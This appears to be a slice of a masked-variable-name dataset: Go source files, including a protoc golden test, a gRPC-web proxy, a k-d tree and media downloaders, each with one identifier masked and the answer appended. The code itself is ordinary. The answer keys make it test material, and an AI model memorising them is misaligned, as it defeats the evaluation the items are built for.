22,"package main import ( ""bytes"" ""flag"" ""io/fs"" ""os"" ""os/exec"" ""path/filepath"" ""strings"" ""testing"" ""time"" ""github.com/google/go-cmp/cmp"" libtime ""go.starlark.net/lib/time"" ) var update = flag.Bool(""update"", false, ""update golden files"") type testFile struct { path string content []byte } type goldenTest struct { name string pluginFile testFile outFile testFile errFile testFile genfiles []testFile goldenOutFile testFile goldenErrFile testFile goldenGenfiles []testFile } func TestGoldens(t *testing.T) { flag.Parse() workspaceDir := os.Getenv(""BUILD_WORKING_DIRECTORY"") start := time.Now() epoch := time.Date(2019, 1, 1, 0, 0, 0, 0, time.UTC) libtime.NowFunc = func() time.Time { delta := time.Since(start).Round(100 * time.Millisecond) now := epoch.Add(delta) return now } var tests []*goldenTest testdata := ""testdata"" testdataEntries, err := os.ReadDir(testdata) if err != nil { t.Fatal(err) } if len(testdataEntries) == 0 { t.Fatal(""no test files found!"") } for _, testdataDir := range testdataEntries { if !testdataDir.IsDir() { continue } if !strings.HasPrefix(testdataDir.Name(), ""protoc-gen-"") { continue } var tc goldenTest tc.name = testdataDir.Name() tc.pluginFile = testFile{path: filepath.Join(testdata, tc.name, ""plugin.star"")} tc.errFile = testFile{path: tc.pluginFile.path + "".stderr.tmp""} tc.outFile = testFile{path: tc.pluginFile.path + "".stdout.tmp""} tc.goldenOutFile = testFile{path: tc.pluginFile.path + "".stdout""} tc.goldenErrFile = testFile{path: tc.pluginFile.path + "".stderr""} tests = append(tests, &tc) } for _, tc := range tests { t.Run(tc.pluginFile.path, func(t *testing.T) { [MASK] := t.TempDir() wd, err := os.Getwd() if err != nil { t.Fatal(err) } // listFiles(t, wd) gotOut, gotErr, gotFiles, err := runProtoc(t, wd, [MASK] , tc.pluginFile.path) tc.outFile.content = gotOut.Bytes() tc.errFile.content = gotErr.Bytes() if err != nil { t.Log(gotOut.String()) t.Log(gotErr.String()) t.Fatal(""protoc error:"", err) } if *update { if workspaceDir == """" { t.Fatal(""BUILD_WORKING_DIRECTORY not set!"") } dir := filepath.Join(workspaceDir, ""cmd"", ""protoc-gen-starlark"") if err := os.WriteFile(filepath.Join(dir, tc.goldenOutFile.path), gotOut.Bytes(), os.ModePerm); err != nil { t.Fatal(""writing goldenOut file:"", err) } if err := os.WriteFile(filepath.Join(dir, tc.goldenErrFile.path), gotErr.Bytes(), os.ModePerm); err != nil { t.Fatal(""writing goldenErr file:"", err) } genfiles := filepath.Join(dir, testdata, tc.name, ""genfiles"") for _, gotFile := range gotFiles { filename := filepath.Join(genfiles, gotFile.path) dirname := filepath.Dir(filename) if err := os.MkdirAll(dirname, os.ModePerm); err != nil { t.Fatalf(""prepare dir %s: %v"", filename, err) } if err := os.WriteFile(filename, gotFile.content, os.ModePerm); err != nil { t.Fatalf(""writing %s: %v"", filename, err) } t.Log(""wrote:"", filename) } } else { wantOut, err := os.ReadFile(tc.goldenOutFile.path) if err != nil { t.Fatal(""reading goldenOut file:"", err) } wantErr, err := os.ReadFile(tc.goldenErrFile.path) if err != nil { t.Fatal(""reading goldenErr file:"", err) } if diff := cmp.Diff(string(wantOut), gotOut.String()); diff != """" { t.Errorf(""stdout (-want +got):\n%s"", diff) } if diff := cmp.Diff(string(wantErr), gotErr.String()); diff != """" { t.Log(""want stderr:\n"", string(wantErr)) t.Log(""got stderr:\n"", gotErr.String()) t.Errorf(""stderr (-want +got):\n%s"", diff) } got := make(map[string]testFile) for _, file := range gotFiles { got[file.path] = file } genfiles := filepath.Join(filepath.Dir(tc.pluginFile.path), ""genfiles"") wantFiles := collectFiles(t, genfiles) for _, wantFile := range wantFiles { gotFile, ok := got[wantFile.path] if !ok { t.Error(""wanted generated file (not found):"", wantFile.path) } delete(got, gotFile.path) if diff := cmp.Diff(string(wantFile.content), string(gotFile.content)); diff != """" { t.Errorf(""%s (-want +got):\n%s"", wantFile.path, diff) } } for _, gotFile := range got { t.Errorf(""unexpected generated file: %s"", gotFile.path) } } }) } } func runProtoc(t *testing.T, cwd, dir string, filename string) (stdout bytes.Buffer, stderr bytes.Buffer, files []testFile, err error) { listFiles(t, ""."") cmd := exec.Command(""protoc.exe"", ""--proto_path=."", ""--descriptor_set_in=unittest_descriptor.pb"", ""--unittest_out=""+dir, ""google/protobuf/unittest.proto"", ) cmd.Env = []string{ ""PROTOC_GEN_STARLARK_FILE="" + filename, ""PATH="" + cwd, } cmd.Stdout = &stdout cmd.Stderr = &stderr cmd.Dir = cwd if err = cmd.Run(); err != nil { return } files = collectFiles(t, dir) return } func collectFiles(t *testing.T, dir string) (files []testFile) { if err := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error { if err != nil { return err } if d.IsDir() { return nil } data, err := os.ReadFile(path) if err != nil { return err } files = append(files, testFile{ path: strings.TrimPrefix(path[len(dir):], ""/""), content: data, }) return nil }); err != nil { t.Fatal(err) } return } func listFiles(t *testing.T, dir string) error { return filepath.Walk(dir, func(path string, info os.FileInfo, err error) error { if err != nil { t.Logf(""%v\n"", err) return err } t.Log(strings.TrimPrefix(path, dir+""/"")) return nil }) } ",tmpdir 23,"package tools import ( ""fmt"" ""log"" ""time"" ""os"" ""runtime"" ""io"" ""net/http"" ""regexp"" ""github.com/gorilla/websocket"" ) type WS struct { Server *http.Server Mux *http.ServeMux Addr string DemoPath string Repo string } type RequestJSON struct { Command string Text string } type ResponseJSON struct { Status string Text string } func RunWebServer(demoPath string, addr string, repo string) (*WS) { slash := ""/"" path := fmt.Sprintf(""%s"", demoPath) if runtime.GOOS == ""windows"" { slash = ""\\"" } if string(demoPath[len(demoPath)-1]) != slash { path = fmt.Sprintf(""%s%s%s%s"", demoPath, slash, ""csgo"", slash) } else { path = fmt.Sprintf(""%s%s%s"", demoPath, ""csgo"", slash) } if _, err := os.Stat(path); os.IsNotExist(err) { fmt.Printf(""Erro! Diretório inexistente."") os.Exit(1) } ws := &WS{} ws.Addr = addr ws.DemoPath = path ws.Repo = repo ws.NewServer() ws.RegisterRoutes() go ws.Start() return ws } func (ws *WS) NewServer() (*WS) { ws.Mux = http.NewServeMux() ws.Server = &http.Server{ Addr: ws.Addr, Handler: ws.Mux, ReadTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, MaxHeaderBytes: 1 << 20, } return ws } func (ws *WS) Start() { ws.Server.ListenAndServe() } func (ws *WS) RegisterRoutes() { // ws.Mux.Handle(""/"", http.FileServer(http.Dir(""./www""))) ws.Mux.Handle(""/"", http.RedirectHandler(ws.Repo, http.StatusSeeOther)) ws.Mux.HandleFunc(""/ws"", func(w http.ResponseWriter, r *http.Request) { if r.Header.Get(""Upgrade"") == """" { http.Error(w, http.StatusText(http.StatusMethodNotAllowed), http.StatusMethodNotAllowed) return } conn, err := websocket.Upgrade(w, r, w.Header(), 1024, 1024) if err != nil { http.Error(w, ""Could not open websocket connection"", http.StatusBadRequest) } func(conn *websocket.Conn) { defer conn.Close() for { request := &RequestJSON{} response := &ResponseJSON{} err := conn.ReadJSON(&request) if err != nil { log.Println(""Error reading json."", err) return } file := fmt.Sprintf(""%s%s"", ws.DemoPath, ParseUrl(request.Text)) if request.Command == ""check"" { if _, err := os.Stat(file); os.IsNotExist(err) { response.Status = ""error"" response.Text = ""1"" // 1 = Download } else { response.Status = ""success"" response.Text = ""3"" // 3 = Ready } } else if request.Command == ""download"" { if code, err := DownloadFile(file, request.Text); err != nil || code != """" { response.Status = ""error"" response.Text = fmt.Sprintf(""Erro ao tentar baixar a demo. (%s)"", code) } else { response.Status = ""finished"" response.Text = ""3"" } } if err = conn.WriteJSON(response); err != nil { log.Println(err) return } } }(conn) }) } func ParseUrl(file string) (string) { m := regexp.MustCompile(`([0-9A-Za-z\_\-\.]+\.dem)$`) demo := m.FindAllString(file, -1) return demo[0] } func DownloadFile( [MASK] string, url string) (string, error) { resp, err := http.Get(url) if err != nil || resp.StatusCode != 200 { return resp.Status, err } defer resp.Body.Close() out, err := os.Create( [MASK] ) if err != nil { return """", err } defer out.Close() _, err = io.Copy(out, resp.Body) return """", err }",filepath 24,"// Author: yann // Date: 2021/9/27 3:21 下午 // Desc: package utils import ( ""fmt"" ""sync"" ""sync/atomic"" ""time"" ) // 如果传入任务超时返回的错误信息 var ErrScheduleTimeout = fmt.Errorf(""schedule error: timed out"") // 线程池模型 type GoPool struct { sem chan struct{} //线程池队列 work chan func() //任务队列 stop chan int min uint32 //最小线程数数量 lock sync.Mutex } //GoroutinePoolOptions 协程池初始化参数 type GoroutinePoolOptions struct { MaxSize uint32 //MaxSize 协程最大数量 QueueSize uint32 //QueueSize 队列 CSize uint32 //CSize 当前/最小协程数量 } func (g *GoPool) Close() { close(g.stop) close(g.work) close(g.sem) } //*************************************************** //Description : 初始化线程池 //param : GoroutinePoolOptions选项参数 //return : 线程池 //*************************************************** func NewPool( [MASK] *GoroutinePoolOptions) *GoPool { if [MASK] .CSize <= 0 { panic(""The current number of threads must be greater than or equal to zero"") } if [MASK] .QueueSize <= 0 { panic(""The task queue size must be greater than zero"") } if [MASK] .CSize > [MASK] .MaxSize { panic(""The current number of threads must be less than the maximum number of threads"") } p := &GoPool{ sem: make(chan struct{}, [MASK] .MaxSize), work: make(chan func(), [MASK] .QueueSize), min: [MASK] .CSize, stop: make(chan int), } for i := uint32(0); i < [MASK] .CSize; i++ { p.sem <- struct{}{} go p.worker(func() {}) } return p } //*************************************************** //Description : 传入任务 //param : 任务句柄 //*************************************************** func (p *GoPool) Schedule(task func()) { _ = p.schedule(task, nil) } //*************************************************** //Description : 传入任务设置超时 //param : 超时时间 //param : 任务句柄 //return : 如果任务队列和协程队列均满一直无法写入,超过时间返回超时错误 //*************************************************** func (p *GoPool) ScheduleTimeout(timeout time.Duration, task func()) error { return p.schedule(task, time.After(timeout)) } func (p *GoPool) schedule(task func(), timeout <-chan time.Time) error { select { case <-p.stop: return nil case <-timeout: return ErrScheduleTimeout case p.work <- task: //如果任务队列未满传入任务 return nil case p.sem <- struct{}{}: //如果任务队列已满,说明做的速度慢则创建协程 go p.worker(task) return nil } } //线程工作 func (p *GoPool) worker(task func()) { defer func() { <-p.sem }() task() //循环获取任务, 当超时后判断当前线程数量是否大于最小线程数量, 大于则退出本线程 for { select { case <-p.stop: return case f := <-p.work: f() case <-time.After(time.Minute): p.lock.Lock() if uint32(len(p.sem)) > atomic.LoadUint32(&p.min) { p.lock.Unlock() return } p.lock.Unlock() } } } ",opt 25,"package embench import ( ""bufio"" _ ""embed"" ""fmt"" ""os"" ""riscv/tools/bootloader"" bld ""riscv/tools/build-scripts"" ""strconv"" ""github.com/magefile/mage/sh"" ) const workDir = ""./programs/compliance-tests/"" // Build builds test for a selected instruction func Build(instruction string) error { if err := compile(instruction); err != nil { return err } referenceData, err := readReference(instruction) if err != nil { return err } return bootloader.Make(bld.ElfPath, bld.BootloaderPath, &referenceData) } func compile(instruction string) error { return sh.RunV( ""riscv64-unknown-elf-gcc"", ""-ffreestanding"", ""-nostdlib"", ""-march=rv32im"", ""-mabi=ilp32"", workDir+""src/""+instruction+""-01.S"", ""-I""+workDir+""arch"", ""-Tenv/link.ld"", ""-o"", bld.ElfPath, ) } func readReference(instruction string) ([]uint32, error) { [MASK] := fmt.Sprintf(workDir+""references/%s-01.reference_output"", instruction) f, err := os.Open( [MASK] ) if err != nil { return nil, err } defer func() { _ = f.Close() }() referenceData := []uint32(nil) sc := bufio.NewScanner(f) for sc.Scan() { i, err := strconv.ParseInt(sc.Text(), 16, 64) if err != nil { return nil, err } referenceData = append(referenceData, uint32(i)) } if err := sc.Err(); err != nil { return nil, err } return referenceData, nil } ",referencePath 26,"package main import ( ""fmt"" ""log"" ""net"" ""net/http"" _ ""net/http/pprof"" // register in DefaultServerMux ""os"" ""time"" ""crypto/tls"" ""github.com/grpc-ecosystem/go-grpc-middleware"" ""github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus"" ""github.com/grpc-ecosystem/go-grpc-prometheus"" ""github.com/improbable-eng/grpc-web/go/grpcweb"" ""github.com/mwitkow/go-conntrack"" ""github.com/mwitkow/grpc-proxy/proxy"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ""github.com/sirupsen/logrus"" ""github.com/spf13/pflag"" ""golang.org/x/net/context"" _ ""golang.org/x/net/trace"" // register in DefaultServerMux ""google.golang.org/grpc"" ""google.golang.org/grpc/grpclog"" ""google.golang.org/grpc/metadata"" ) var ( flagBindAddr = pflag.String(""server_bind_address"", ""0.0.0.0"", ""address to bind the server to"") flagHttpPort = pflag.Int(""server_http_debug_port"", 8080, ""TCP port to listen on for HTTP1.1 debug calls."") flagHttpTlsPort = pflag.Int(""server_http_tls_port"", 8443, ""TCP port to listen on for HTTPS (gRPC, gRPC-Web)."") flagAllowAllOrigins = pflag.Bool(""allow_all_origins"", false, ""allow requests from any origin."") flagAllowedOrigins = pflag.StringSlice(""allowed_origins"", nil, ""comma-separated list of origin URLs which are allowed to make cross-origin requests."") runHttpServer = pflag.Bool(""run_http_server"", true, ""whether to run HTTP server"") runTlsServer = pflag.Bool(""run_tls_server"", true, ""whether to run TLS server"") useWebsockets = pflag.Bool(""use_websockets"", false, ""whether to use beta websocket transport layer"") flagHttpMaxWriteTimeout = pflag.Duration(""server_http_max_write_timeout"", 10*time.Second, ""HTTP server config, max write duration."") flagHttpMaxReadTimeout = pflag.Duration(""server_http_max_read_timeout"", 10*time.Second, ""HTTP server config, max read duration."") ) func main() { pflag.Parse() logrus.SetOutput(os.Stdout) logEntry := logrus.NewEntry(logrus.StandardLogger()) if *flagAllowAllOrigins && len(*flagAllowedOrigins) != 0 { logrus.Fatal(""Ambiguous --allow_all_origins and --allow_origins configuration. Either set --allow_all_origins=true OR specify one or more origins to whitelist with --allow_origins, not both."") } grpcServer := buildGrpcProxyServer(logEntry) errChan := make(chan error) allowedOrigins := makeAllowedOrigins(*flagAllowedOrigins) options := []grpcweb.Option{ grpcweb.WithCorsForRegisteredEndpointsOnly(false), grpcweb.WithOriginFunc(makeHttpOriginFunc(allowedOrigins)), } if *useWebsockets { logrus.Println(""using websockets"") options = append( options, grpcweb.WithWebsockets(true), grpcweb.WithWebsocketOriginFunc(makeWebsocketOriginFunc(allowedOrigins)), ) } wrappedGrpc := grpcweb.WrapServer(grpcServer, options...) if !*runHttpServer && !*runTlsServer { logrus.Fatalf(""Both run_http_server and run_tls_server are set to false. At least one must be enabled for grpcweb proxy to function correctly."") } if *runHttpServer { // Debug server. debugServer := buildServer(wrappedGrpc) http.Handle(""/metrics"", promhttp.Handler()) debugListener := buildListenerOrFail(""http"", *flagHttpPort) serveServer(debugServer, debugListener, ""http"", errChan) } if *runTlsServer { // Debug server. servingServer := buildServer(wrappedGrpc) servingListener := buildListenerOrFail(""http"", *flagHttpTlsPort) servingListener = tls.NewListener(servingListener, buildServerTlsOrFail()) serveServer(servingServer, servingListener, ""http_tls"", errChan) } <-errChan // TODO(mwitkow): Add graceful shutdown. } func buildServer(wrappedGrpc *grpcweb.WrappedGrpcServer) *http.Server { return &http.Server{ WriteTimeout: *flagHttpMaxWriteTimeout, ReadTimeout: *flagHttpMaxReadTimeout, Handler: http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) { wrappedGrpc.ServeHTTP(resp, req) }), } } func serveServer(server *http.Server, listener net.Listener, name string, errChan chan error) { go func() { logrus.Infof(""listening for %s on: %v"", name, listener.Addr().String()) if err := server.Serve(listener); err != nil { errChan <- fmt.Errorf(""%s server error: %v"", name, err) } }() } func buildGrpcProxyServer(logger *logrus.Entry) *grpc.Server { // gRPC-wide changes. grpc.EnableTracing = true grpc_logrus.ReplaceGrpcLogger(logger) // gRPC proxy logic. backendConn := dialBackendOrFail() [MASK] := func(ctx context.Context, fullMethodName string) (context.Context, *grpc.ClientConn, error) { md, _ := metadata.FromIncomingContext(ctx) outCtx, _ := context.WithCancel(ctx) mdCopy := md.Copy() delete(mdCopy, ""user-agent"") outCtx = metadata.NewOutgoingContext(outCtx, mdCopy) return outCtx, backendConn, nil } logrus.Println(""Creating grpc server with MaxRecvMsgSize"") // Server with logging and monitoring enabled. return grpc.NewServer( grpc.CustomCodec(proxy.Codec()), // needed for proxy to function. grpc.UnknownServiceHandler(proxy.TransparentHandler( [MASK] )), grpc_middleware.WithUnaryServerChain( grpc_logrus.UnaryServerInterceptor(logger), grpc_prometheus.UnaryServerInterceptor, ), grpc.MaxRecvMsgSize(1024 * 1024 * 1024), // We send images, they are large. grpc_middleware.WithStreamServerChain( grpc_logrus.StreamServerInterceptor(logger), grpc_prometheus.StreamServerInterceptor, ), ) } func buildListenerOrFail(name string, port int) net.Listener { addr := fmt.Sprintf(""%s:%d"", *flagBindAddr, port) listener, err := net.Listen(""tcp"", addr) if err != nil { log.Fatalf(""failed listening for '%v' on %v: %v"", name, port, err) } return conntrack.NewListener(listener, conntrack.TrackWithName(name), conntrack.TrackWithTcpKeepAlive(20*time.Second), conntrack.TrackWithTracing(), ) } func makeHttpOriginFunc(allowedOrigins *allowedOrigins) func(origin string) bool { if *flagAllowAllOrigins { return func(origin string) bool { return true } } return allowedOrigins.IsAllowed } func makeWebsocketOriginFunc(allowedOrigins *allowedOrigins) func(req *http.Request) bool { if *flagAllowAllOrigins { return func(req *http.Request) bool { return true } } else { return func(req *http.Request) bool { origin, err := grpcweb.WebsocketRequestOrigin(req) if err != nil { grpclog.Warning(err) return false } return allowedOrigins.IsAllowed(origin) } } } func makeAllowedOrigins(origins []string) *allowedOrigins { o := map[string]struct{}{} for _, allowedOrigin := range origins { o[allowedOrigin] = struct{}{} } return &allowedOrigins{ origins: o, } } type allowedOrigins struct { origins map[string]struct{} } func (a *allowedOrigins) IsAllowed(origin string) bool { _, ok := a.origins[origin] return ok } ",director 27,"package main import ( ""bytes"" ""fmt"" ""io"" ""strings"" ) // 字节读取 func main() { //ByteReaderByte() //RuneReaderReader() ReaderLimited() } func ByteReaderByte() { var ch byte fmt.Println(""输入:"") fmt.Scanf(""%c\n"", &ch) [MASK] := new(bytes.Buffer) err := [MASK] .WriteByte(ch) if err == nil { fmt.Println(""写入一个字节成功,我们准备读取---"") newCh, _ := [MASK] .ReadByte() fmt.Printf(""读取数据:%c\n"", newCh) } else { fmt.Println(err) } } // strings.Index func RuneReaderReader() { n := strings.Index(""行业交流群"", ""交流"") //nu:=strings.ToValidUTF8() fmt.Println(n) } func ReaderLimited() { content := ""This Is LimitReader Example"" reader := strings.NewReader(content) limitReader := &io.LimitedReader{R: reader, N: 8} for limitReader.N > 0 { tmp := make([]byte, 2) fmt.Print(""tmp:"", tmp,""\n"") fmt.Println() limitReader.Read(tmp) fmt.Printf(""%s"", tmp) } } ",buffer 28,"package data import ( ""math"" ""sort"" ) // a node in the kdtree type kdnode struct { axis int data Interface left *kdnode right *kdnode } // KDTree implements SpacialTree using the kd-tree data structure. type KDTree struct { root *kdnode dimensions int items []Interface } // NewKDTree creates an empty tree with the capacity to hold the // number of dimensions specified. func NewKDTree(dimensions int) *KDTree { return &KDTree{ root: nil, dimensions: dimensions, items: nil, } } // Items returns a slice of the items held in the tree. func (t *KDTree) Items() []Interface { return t.items } // Dimensions returns the number of dimensions the tree uses. func (t *KDTree) Dimensions() int { return t.dimensions } // Len returns the number of items in the tree. func (t *KDTree) Len() int { return len(t.items) } // Build will build (or rebuild) the tree with the given items. func (t *KDTree) Build(items []Interface) { // check that all items have correct // number of dimensions (avoid index out of bounds) var [MASK] int for i := 0; i < len(items); i++ { [MASK] += len(items[i].Location()) } if [MASK] != t.dimensions*len(items) { panic(""at least one element in 'items' does not have the expected number of dimensions"") } // if t.root == nil { t.items = items t.root = buildTree(t.items, 0, t.dimensions) // } } // does actual tree build func buildTree(items []Interface, depth, dims int) (node *kdnode) { if len(items) == 0 { return nil } // ascending sort items by axis axis := depth % dims // 0=x, 1=y, 2=z (for Vec3) sort.Slice(items, func(i, j int) bool { return items[i].Location()[axis] < items[j].Location()[axis] }) // create node median := len(items) / 2 node = &kdnode{ data: items[median], axis: axis} node.left = buildTree(items[:median], depth+1, dims) node.right = buildTree(items[median+1:], depth+1, dims) return } // QueryPoint returns true if the item is found in the tree. func (t *KDTree) QueryPoint(item Interface) bool { return dfsPoint(t.root, item) } // used in QueryPoint() func dfsPoint(node *kdnode, item Interface) (found bool) { // 1. check current node if node == nil { return false } if node.data == item { return true } // 2. if not it, compare item to node's item to // determine which branch to follow. If node and item // are equal on the axis, have to check both branches. nodeAxialVal := node.data.Location()[node.axis] itemAxialVal := item.Location()[node.axis] if itemAxialVal <= nodeAxialVal { found = dfsPoint(node.left, item) } if !found && itemAxialVal >= nodeAxialVal { found = dfsPoint(node.right, item) } return } // QueryRange returns all items within the n-dimensional range specified. // Each entry to 'ranges' is a [2]float64 where [0] = MIN and [1] = MAX of range. func (t *KDTree) QueryRange(ranges [][2]float64) []Interface { if len(ranges) != t.Dimensions() { panic(""incorrect number of dimensions in 'ranges'"") } found := make([]Interface, 0, t.Len()/4) // starting cap 25% of size dfsRange(t.root, ranges, &found) return found } // used in QueryRange() func dfsRange(node *kdnode, ranges [][2]float64, found *[]Interface) { // using DFS // 1. check node for nil, then check each of the node's // n-dimensional values are within the corresponding range. // 1.1 if so, add node.data to return slice if node == nil { return } inSearchRange := true itemLoc := node.data.Location() for axis, r := range ranges { if !(r[0] <= itemLoc[axis] && itemLoc[axis] <= r[1]) { inSearchRange = false break } } if inSearchRange { *found = append(*found, node.data) } // 2. determine which branch(s) to go down. // 2.1 if range's axial MAX is <= node's axial val, go left only // 2.2 if range's axial MIN is >= node's axial val, go right only // 2.3 if the node's axial val is IN the axial range, go down both axialRange := ranges[node.axis] nodeAxialVal := node.data.Location()[node.axis] nodeInRange := axialRange[0] <= nodeAxialVal && nodeAxialVal <= axialRange[1] if nodeInRange || axialRange[1] <= nodeAxialVal { dfsRange(node.left, ranges, found) } if nodeInRange || axialRange[0] >= nodeAxialVal { dfsRange(node.right, ranges, found) } } ///// Things used in nearest neighbors //// // used in nearest neighbor searches for best candidate(s) type neigh struct { node *kdnode dist float64 } // inserts and element into slice at the index. func insertAndTrim(item *neigh, at int, s []*neigh) { // insert s = append(s, nil) copy(s[at+1:], s[at:]) s[at] = item // remove end s[len(s)-1] = nil s = s[:len(s)-1] } /////////////////////////////////////// // NearestNeighbor finds the nearest neighbor to searchPt using the given // distance metric. Returns nil if none found or if the tree's root is nil. func (t *KDTree) NearestNeighbor(dist DistanceMetric, point ...float64) Interface { best := neigh{nil, math.Inf(0)} nnSearch(t.root, point, &best, dist) if best.node == nil { return nil } return best.node.data } // Does actual nearest neighbor search func nnSearch(root *kdnode, searchPt []float64, curBest *neigh, dist DistanceMetric) { // if the current node is nil, just return if root == nil { return } // decide which branch to visit first, then visit it. // this lets search start at a leave, which should provide potentially // better curBests than starting at the root. var goDown *kdnode if searchPt[root.axis] <= root.data.Location()[root.axis] { goDown = root.left } else { goDown = root.right } nnSearch(goDown, searchPt, curBest, dist) // check if current node is better than current best. // if current best == nil/inf, set current node to best. if d := dist(root.data.Location(), searchPt); curBest.node == nil || d < curBest.dist { curBest.node = root curBest.dist = d } // check if points could possibly exist on the other side of the root's splitting // axis by checking if the distance from the searchPt to axis is less than // the distance to the current best. // searchPt-to-axis = abs(root.data.location()[axis] - seachPt[axis]) // if search-to-axis <= curbest.dist, then go down the branch NOT taken earlier. searchToAxis := dist([]float64{searchPt[root.axis]}, []float64{root.data.Location()[root.axis]}) checkBoth := searchToAxis <= curBest.dist // go down one not visited earlier, if required if goDown == root.left { goDown = root.right } else { goDown = root.left } if checkBoth { nnSearch(goDown, searchPt, curBest, dist) } return } // NearestNeighbors returns the nearest [0,k] neighbors to the search point. // If fewer than k are found, the returned slice will be as long as the number // found. Distance is determined by the given DistanceMetric. func (t *KDTree) NearestNeighbors(dist DistanceMetric, k int, point ...float64) []Interface { // MUST have k+1 capacity, or the append() to the bests slice inside // insertAndTrim() will cause a new backing array to be allocated, and so // the array we want to change is NOT changed...very subtle. bests := make([]*neigh, k, k+1) knnSearch(dist, t.root, point, bests) // will alter bests var found []Interface for _, b := range bests { if b != nil { found = append(found, b.node.data) } } return found } // does actual nn search for k nodes // curBests is a best-to-worst ORDERED list of k elements (some of which may be nil) func knnSearch(dist DistanceMetric, root *kdnode, searchPt []float64, curBests []*neigh) { if root == nil { return } // choose and go down one branch var goDown *kdnode if searchPt[root.axis] <= root.data.Location()[root.axis] { goDown = root.left } else { goDown = root.right } knnSearch(dist, goDown, searchPt, curBests) // examine the current node d := dist(root.data.Location(), searchPt) for i := 0; i < len(curBests); i++ { // check each. if found a best.dist > root.dist, insert // to keep order and remove the worst best from the end. // if nil is encountered, insert. if curBests[i] == nil { curBests[i] = &neigh{root, d} break } if d < curBests[i].dist { insertAndTrim(&neigh{root, d}, i, curBests) break } } // go down other branch if necessary. // use similar process as nnSearch() but use worst best. worstBest := curBests[len(curBests)-1] // should be last searchToAxis := dist([]float64{searchPt[root.axis]}, []float64{root.data.Location()[root.axis]}) checkBoth := worstBest == nil || searchToAxis < worstBest.dist if goDown == root.left { goDown = root.right } else { goDown = root.left } if checkBoth { knnSearch(dist, goDown, searchPt, curBests) } return } ",sum 29,"package main import ( ""bufio"" ""encoding/base64"" ""errors"" ""fmt"" ""github.com/realth000/ToGoTool/html"" ""github.com/realth000/ToGoTool/http"" ""net/url"" ""os"" ""path/filepath"" ""regexp"" ) const ( mediaDownloadUrlPrefix = `https://res.wx.qq.com/voice/getvoice?mediaid=` ) var ( mediaIdRegexp = regexp.MustCompile(`mediaid=(?P\w+)`) ) func exit() { os.Exit(1) } func printId() { file, err := os.Open(""./wechat_media.txt"") if err != nil { fmt.Println(err) return } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { if mediaIdRegexp.MatchString(scanner.Text()) { matches := mediaIdRegexp.FindStringSubmatch(scanner.Text()) if len(matches) < mediaIdRegexp.NumSubexp()+1 { continue } id := matches[mediaIdRegexp.SubexpIndex(""id"")] id2, err := base64.StdEncoding.DecodeString(id) if err != nil { fmt.Println(""failed to decode base64:"", id, err) continue } fmt.Println(""catch id:"", id, string(id2)) } } } func downloadFromMediaPlayPage(urlPath string, saveDir string) { doc, err := html.DocumentFromUrl(urlPath) if err != nil { fmt.Println(""failed to download page:"", err) exit() } selections := doc.Find(`mpvoice.js_editor_audio.js_uneditable`) if selections.Nodes == nil || len(selections.Nodes) == 0 { fmt.Println(""failed to download: empty element grepped in"", urlPath) return } for _, node := range selections.Nodes { path := html.NodeSearchAttr(node, ""voice_encode_fileid"") if path == """" { fmt.Println(""failed to download: empty download path"") exit() } name := html.NodeSearchAttr(node, ""name"") if name == """" { fmt.Println(""failed to download: empty file name"") exit() } fmt.Printf(""download \""%s\"" from %s\n"", name, path) mediaData, err := http.GetRequest(fmt.Sprintf(""%s%s"", mediaDownloadUrlPrefix, path)) if err != nil { fmt.Println(""failed to download:"", err) exit() } if err = os.WriteFile(fmt.Sprintf(""%s/%s.mp3"", saveDir, name), mediaData, 0644); err != nil { fmt.Println(""failed to save media file:"", err) exit() } } } func main() { /* https://mp.weixin.qq.com/s?__biz=MzA4MzU2MjczOA==&mid=2247514662&idx=3&sn=bfa9d32d0e0ea0fe2717c8bbb886dddf&chksm=9ff663bba881eaad2b3feb1aa44fedda4ba5a292712cb2d74ef43f23283a0b5a664af84e7386&scene=21#wechat_redirect http://mp.weixin.qq.com/s?__biz=MzA4MzU2MjczOA==&mid=2247505249&idx=5&sn=89769d90328cf26375a8dc516032fbab&chksm=9ff60cfca88185ea5aa196f7bfe6baffef655c59eb785a7d80409fd838a7ac027c65c090d272&scene=21#wechat_redirect */ if len(os.Args) != 2 { fmt.Printf(""usage: %s "", filepath.Base(os.Args[0])) exit() } if _, err := url.Parse(os.Args[1]); err != nil { fmt.Println(""invalid url:"", err) exit() } d, err := os.Getwd() if err != nil { fmt.Println(""failed to get current path:"", err) exit() } downloadDir := fmt.Sprintf(""%s%ctmp"", d, os.PathSeparator) [MASK] , err := os.Stat(downloadDir) if errors.Is(err, os.ErrNotExist) { if err = os.Mkdir(downloadDir, 0755); err != nil { fmt.Println(""failed to make download directory:"", err) exit() } } if err == nil || (errors.Is(err, os.ErrExist) && ! [MASK] .IsDir()) { if err = os.RemoveAll(downloadDir); err != nil { fmt.Println(""failed to remove file and make download directory:"", err) exit() } if err = os.Mkdir(""tmp"", 0755); err != nil { fmt.Println(""failed to make download directory:"", err) exit() } } mainDoc, err := html.DocumentFromUrl(os.Args[1]) if err != nil { fmt.Println(""failed to get main doc:"", err) exit() } selections := mainDoc.Find(`a`) if selections.Nodes == nil { fmt.Println(""failed to get main doc:"", err) exit() } for _, node := range selections.Nodes { /* 6.《三国》上 */ if !html.NodeSearchAttrEq(node, ""data-linktype"", ""2"") || html.NodeSearchAttrEq(node, ""class"", ""wx_tap_link"") || !html.NodeSearchAttrEq(node, ""target"", ""_blank"") || html.NodeSearchAttr(node, ""href"") == """" { continue } url := html.NodeSearchAttr(node, ""href"") downloadFromMediaPlayPage(url, downloadDir) } } ",info 30,"package main import ( ""fmt"" ""os"" ""runtime"" ""path/filepath"" ""github.com/chainhero/heroes-service/blockchain"" ""github.com/chainhero/heroes-service/web"" ""github.com/chainhero/heroes-service/web/controllers"" ) // Fix empty GOPATH with golang 1.8 (see https://github.com/golang/go/blob/1363eeba6589fca217e155c829b2a7c00bc32a92/src/go/build/build.go#L260-L277) func defaultGOPATH() string { env := ""HOME"" if runtime.GOOS == ""windows"" { env = ""USERPROFILE"" } else if runtime.GOOS == ""plan9"" { env = ""home"" } if home := os.Getenv(env); home != """" { def := filepath.Join(home, ""go"") if filepath.Clean(def) == filepath.Clean(runtime.GOROOT()) { // Don't set the default GOPATH to GOROOT, // as that will trigger warnings from the go tool. return """" } return def } return """" } func main() { // Setup correctly the GOPATH in the 